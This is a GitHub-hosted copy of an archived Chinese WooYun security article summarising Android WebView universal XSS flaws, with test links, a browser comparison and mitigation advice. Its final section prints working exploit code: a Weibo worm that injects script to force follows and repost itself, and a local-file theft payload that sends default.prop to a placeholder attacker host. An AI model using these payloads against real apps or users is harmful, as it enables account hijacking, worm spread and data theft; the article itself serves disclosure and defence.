forked from Trietptm-on-Security/WooYun-2
-
Notifications
You must be signed in to change notification settings - Fork 7
/
Android UXSS阶段性小结及自动化测试 .html
233 lines (131 loc) · 120 KB
/
Android UXSS阶段性小结及自动化测试 .html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
<html>
<head>
<title>Android UXSS阶段性小结及自动化测试 - 瘦蛟舞</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<body>
<h1>原文地址:<a href="http://drops.wooyun.org/tools/3186">http://drops.wooyun.org/tools/3186</a></h1>
<p>
<h2>0x00 科普</h2>
<hr />
<p>WebView(网络视图)android中加载显示网页的重要组件,可以将其视为一个浏览器。在kitkat(android 4.4)以前使用WebKit渲染引擎加载显示网页,在kitkat之后使用谷歌自家内核chromium。</p>
<p>Uxss(Universal Cross-Site Scripting通用型XSS)UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。可以到达浏览器全局远程执行命令、绕过同源策略、窃取用户资料以及劫持用户的严重危害。</p>
<p>同源策略所谓同源是指,域名,协议,端口相同,浏览器或者浏览器扩展共同遵循的安全策略。详见:<a href="http://drops.wooyun.org/tips/151">http://drops.wooyun.org/tips/151</a> <!--more --></p>
<h2>0x01 事件</h2>
<hr />
<p>近段时间android UXSS漏洞持续性爆发涉及android应用包括主手机流浏览器、聊天软件等。下面截取几个案例。</p>
<ul>
<li> <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2014-047674">WooYun: 搜狗手机浏览器跨域脚本执行漏洞之一</a> </li>
<li> <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2014-068174">WooYun: 手机QQ安卓版两处跨域问题</a> </li>
<li> <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2014-075184">WooYun: 猎豹/360/欧鹏/百度/遨游等手机浏览器安卓客户端UXSS(影响android4.4以下版本)</a> </li>
<li> <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2014-075143">WooYun: UC浏览器Android最新版(4.4)跨域漏洞(不受系统版本限制)</a> </li>
</ul>
<p>引用某厂商对此漏洞的回应</p>
<pre><code>非常感谢您的报告,此问题属于andriod webkit的漏洞,请尽量使用最新版的andriod系统。
</code></pre>
<p>的确漏洞产生的原因是因为kitkat(android 4.4)之前webview组件使用webview内核而遗留的漏洞。使用最新的android系统当然安全性要更高而且运行更流畅,但是有多少人能升级或者使用到相对安全的android版本了。下图来自谷歌官方2014.09.09的统计数据。</p>
<p><img src="http://static.wooyun.org/20141014/2014101410520562663.jpg" alt="" /></p>
<p>看起来情况不是太糟糕,有24.5%的android用户是处于相对安全的版本下。但是官方数据的是来google play明显和大陆水土不服。国内就只能使用相对靠谱的本土第三方统计了。下图是umeng八月的统计情况</p>
<p><img src="http://static.wooyun.org/20141014/2014101410520540461.jpg" alt="" /></p>
<p>能使用到相对安全的android系统的用户不到8%,那么问题来了~我要换一个什么的样的手机了。忘记我是个屌丝了,破手机无法升级到kitkat也没钱换手机。那就只能选择使用相对安全的应用来尽量避免我受到攻击。于是我们收集了一些命中率较高的POC来验证到底哪些app更靠谱一些。</p>
<ul>
<li>https://code.google.com/p/chromium/issues/detail?id=37383 </li>
<li>https://code.google.com/p/chromium/issues/detail?id=90222 </li>
<li>https://code.google.com/p/chromium/issues/detail?id=98053</li>
<li>https://code.google.com/p/chromium/issues/detail?id=117550</li>
<li>https://code.google.com/p/chromium/issues/detail?id=143437</li>
<li>https://code.google.com/p/chromium/issues/detail?id=143439</li>
<li>CVE-2014-6041</li>
</ul>
<p>为了方便大家也能够方便测试其他应用我们尝试写出一个自动化的脚本来完成此项工作。</p>
<h2>0x02 测试</h2>
<hr />
<p><a href="http://zone.wooyun.org/content/15792">http://zone.wooyun.org/content/15792</a></p>
<p>下图为360浏览器在android 4.2.2下的测试结果</p>
<p><img src="http://static.wooyun.org/20141014/2014101410520682359.jpg" alt="" /></p>
<p>下图为搜狗浏览器在android 4.4.3下的测试结果</p>
<p><img src="http://static.wooyun.org/20141014/2014101410520676975.jpg" alt="" /></p>
<p>测试代码将放入github供大家参考,欢迎大神来修改</p>
<p>代码地址:<a href="https://github.com/click1/uxss">https://github.com/click1/uxss</a></p>
<p>在线测试地址:<a href="http://uxss.sinaapp.com/index.php">http://uxss.sinaapp.com/index.php</a></p>
<h2>0x03 对比</h2>
<p>我们对主流手机浏览器进行了横向对比,测试对象包括:UC浏览器、搜狗浏览器、百度浏览器、360安全浏览器、欧鹏浏览器、遨游云浏览器、猎豹浏览器。测试结果见下图。</p>
<p><img src="http://static.wooyun.org/20141014/2014101410520629277.jpg" alt="" /></p>
<h2>0x04 建议</h2>
<hr />
<p>厂商(仅供参考):</p>
<p>1、服务端禁止iframe嵌套<code>X-FRAME-OPTIONS:DENY</code>。详见:<a href="http://drops.wooyun.org/papers/104">http://drops.wooyun.org/papers/104</a></p>
<p>2、客户端使用<code>setAllowFileAccess(false)</code>方法禁止webview访问本地域。详见:<a href="http://developer.android.com/intl/zh-cn/reference/android/webkit/WebSettings.html#setAllowFileAccess(boolean)">setAllowFileAccess(boolean)</a></p>
<p>3、客户端使用<code>onPageStarted (WebView view, String url, Bitmap favicon)</code>方法在跳转前进行跨域判断。详见[onPageStarted (WebView view, String url, Bitmap favicon)][8]</p>
<p>4、客户端对iframe object标签属性进行过滤。</p>
<p>用户:</p>
<p>1、使用漏洞较少的app,及时更新app。</p>
<p>2、不要随意打开一些莫名其妙的链接。</p>
<p>3、有钱你就买新手机吧,android L马上出来了。(可以通过google play推送安全补丁,呵呵)</p>
<h2>0x05 利用</h2>
<hr />
<p>(此部分考虑到影响并未第一时间放出,现在漏洞已经被忽略,在此更新)</p>
<p>1、 <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2014-079471">WooYun: 扫描新浪微博安卓客户端UXSS附蠕虫利用</a> 蠕虫代码如下:</p>
<p>test.html</p>
<pre><code><iframe name="m" src="http://m.weibo.cn/xxx" onload="window.open('\u0000javascript:window.s%3Ddocument.createElement%28%27script%27%29%3Bwindow.s.src%3D%27http://site/test.js%27%3Bdocument.body.appendChild%28window.s%29%3B','m')" >
</code></pre>
<p>test.js</p>
<pre><code>url = 'http://m.weibo.cn/attentionDeal/addAttention?';
url2 = 'http://m.weibo.cn/mblogDeal/addAMblog?rl=1';
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html, application/xhtml+xml, */*");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.send(data);
}
function send(){
data = 'uid=3605736194';
data2 = 'content=http://site/worm.html';
post(url,data,false);
post(url2,data2,false);
}
function main(){
try{
send();
alert("done");
}
catch(e){alert("error");}
}
main();
</code></pre>
<p><img src="http://static.wooyun.org/20141020/2014102009073756984.png" alt="" /></p>
<p><img src="http://static.wooyun.org/20141020/2014102009073782598.jpg" alt="" /></p>
<p>2、窃取本地文件</p>
<p>test.html</p>
<pre><code><button onclick="iframe.src='http://notfound/'">x</button><br>
<button onclick="exploit1()">Get local file!</button><br>
<script>
function exploit1() {
window.open('\u0000javascript:document.body.innerHTML="<script/src=http://site/test.js></scr"+"ipt><iframe src=file:/default.prop onload=exploit2() style=width:100%;height:1000px; name=test2></iframe>";','test');
}
</script>
<iframe src="http://m.baidu.com/" id="iframe" style="width:100%;height:1000px;" name="test"></iframe>
</code></pre>
<p>test.js</p>
<pre><code>var flag = 0;
function exploit2(){
if(flag) {return}
window.open('\u0000javascript:location.replace("http://site/cross/test.php?test="+escape(document.body.innerHTML))','test2');
flag = 1;
}
</code></pre>
<p>服务端接收到android的default.prop文件内容。也可以窃取相应app私有目录/data/data/packagename/下文件</p>
<p><img src="http://static.wooyun.org/20141020/2014102009073710226.png" alt="" /></p>
<h2>0x06 参考</h2>
<hr />
<p><a href="http://static.wooyun.org/upload/summit-wooyun-RAyH4c.zip">RAyH4c(茄子)《细数安卓WebView的那些神洞》</a></p>
<p><a href="http://zone.wooyun.org/content/15792">http://zone.wooyun.org/content/15792</a></p>
<p><a href="http://static.wooyun.org/20141020/2014102009073782598.jpg">8</a>: http://developer.android.com/intl/zh-cn/reference/android/webkit/WebViewClient.html#onPageStarted(android.webkit.WebView, java.lang.String, android.graphics.Bitmap)</p> </p>
</body>
</html>